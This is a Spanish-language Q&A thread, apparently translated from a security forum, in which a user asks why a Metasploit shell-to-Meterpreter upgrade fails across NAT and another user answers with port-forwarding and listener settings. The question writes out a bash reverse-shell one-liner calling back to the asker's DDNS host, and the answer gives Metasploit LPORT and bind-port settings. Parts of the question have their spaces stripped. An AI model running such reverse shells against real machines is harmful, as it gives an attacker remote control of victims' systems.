Actualizar shell a meterpreter detrás de NAT

3

He estado jugando con Metasploit la semana pasada, y pude obtener con éxito un shell básico de la víctima a través de Internet. Actualmente tengo:

  • Creó un DDNS que apunta a mi IP pública
  • Configure el reenvío de puertos para todos los puertos importantes que uso (6680, 4433)
  • Probé la configuración (DDNS y cada puerto) accediendo al servidor temporal alojado en mi máquina atacante

Esta imagen de publicación del blog de Corelan resume mi situación muy bien:

Perocuandointentoactualizarelshellaunmeterpreter,yaseaatravésdeestecomandosessions-u1omanualmenteusandoelmódulopost/multi/manage/shell_to_meterpreter,elshellnosepuedeactualizar.

NosepuedeenlazarconelDDNS/IPpúblicaporrazonesobviasyseenlazaconladirecciónIPdemiredlocalodebuclederetornodeformapredeterminada.Estofuncionasinproblemascuandolosatacantesylasmáquinasdedestinoestánenlamismared,perosiemprefallaenInternet.

Simplementenopuedoentendercómohacerlofuncionar.

Algunosdetallesmás:

  • TantolasmáquinasatacantescomolasdedestinosonMacbooksqueejecutanOSX10.10x64Yosemite
  • Ambasmáquinasestánenredescompletamentediferentes,cadaunadetrásdeunenrutadoryunISPdiferente
  • UsandolaversiónMetasploitv4.11.4-dev-8a5e45b1
  • Usodelacargaútilosx/x64/shell_reverse_tcp
  • Ejecutandoestecomandoenlamáquinadedestinoparavolveraconectarseconelatacante:

    bash-c"bash -i >& /dev/tcp/my.ddns.host/6680 0>&1 2>&1" 
    
pregunta Sheharyar 24.09.2015 - 03:34
fuente

1 respuesta

2

Los comentarios sobre tu pregunta parecen ser bastante engañosos, o casi irrelevantes. ¡Los ignoraría si fuera tú!

Recuerde, actualizar la sesión requiere establecer una nueva sesión de comunicaciones, no solo toma el control del socket existente.

Esto parece el escenario clásico de enlace al host o puerto incorrecto. Para que la actualización funcione en el escenario que usted describe, su firewall debe reenviar el puerto 4433 a su máquina atacante. Si no es así, entonces simplemente no obtendrás tu conexión inversa.

Si ha configurado su firewall de modo que el puerto reenviado no sea el mismo al que está enlazando, entonces tiene que dar otro paso. Por ejemplo, si su firewall está configurado para reenviar el puerto 443 al puerto 4433 , entonces necesita:

  • set LPORT 443 : esto le dice a Meterpreter que vuelva a llamar al puerto 443 .
  • set ReverseListenerBindPort 4433 : esto le dice a Metasploit que se enlace al puerto 4433 en lugar de 443 .

A menos que tenga una escucha persistente para su shell inicial, incluso puede reutilizar el mismo puerto.

Dado que está utilizando puertos no estándar, podría ser que el firewall remoto también esté bloqueando el tráfico saliente.

Espero que eso ayude.

    
respondido por el OJ. 28.10.2015 - 07:10
fuente

Lea otras preguntas en las etiquetas